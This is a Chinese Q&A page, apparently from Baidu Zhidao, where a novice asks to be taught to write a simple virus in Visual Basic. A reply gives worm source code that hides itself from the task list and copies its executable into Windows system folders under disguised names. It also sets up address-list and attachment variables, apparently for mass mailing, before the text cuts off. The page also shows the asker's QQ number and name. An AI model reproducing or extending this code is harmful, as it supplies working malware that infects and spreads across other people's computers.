哪位高手可以教我用VB写病毒啊~~~~~

来源：百度知道 编辑：UC知道 时间：2024/05/14 04:48:04
我VB才入门不久吧,还算看得懂一点.
我希望可以写个VB的病毒(简单的)
有谁可以教我吗```
一步步的讲解
当我师傅!~!!!!!
会追加分的`
可以解释下每步的意思吗
QQ:276691146
刘憧
(不做坏事用哦~~)
病毒要放在哪个控件里的 ? 还是?

Sub Main()
'TaskVisible的功能是把程序在End Task表中除掉。
App.TaskVisible = False
'阻止问题发生
On Error Resume Next
Dim Location, Location2, DesLocation, DesLocation2
'得到EXE的位置
Location = App.Path & "\" & App.EXEName & ".exe"
Location2 = App.Path & App.EXEName & ".exe"

'设定目的地
DesLocation = "C:\WINDOWS\SYSTEM\WinMapi.exe"
DesLocation2 = "C:\WINNT\SYSTEM\Mapi.exe"

'开始复制自己
FileCopy Location, DesLocation
FileCopy Location2, DesLocation
FileCopy Location, DesLocation2
FileCopy Location2, DesLocation2

Dim Var1, FilePath, FileName, FullLocation, MyApp
Dim Christmas, List, AddList, AddressListCount
Dim Merry, AdEntries, Attachs, Msg
Var1 = "True"
FilePath = App.Path
FileName = App.EXEName
FullLocation = FilePath & "\" & FileName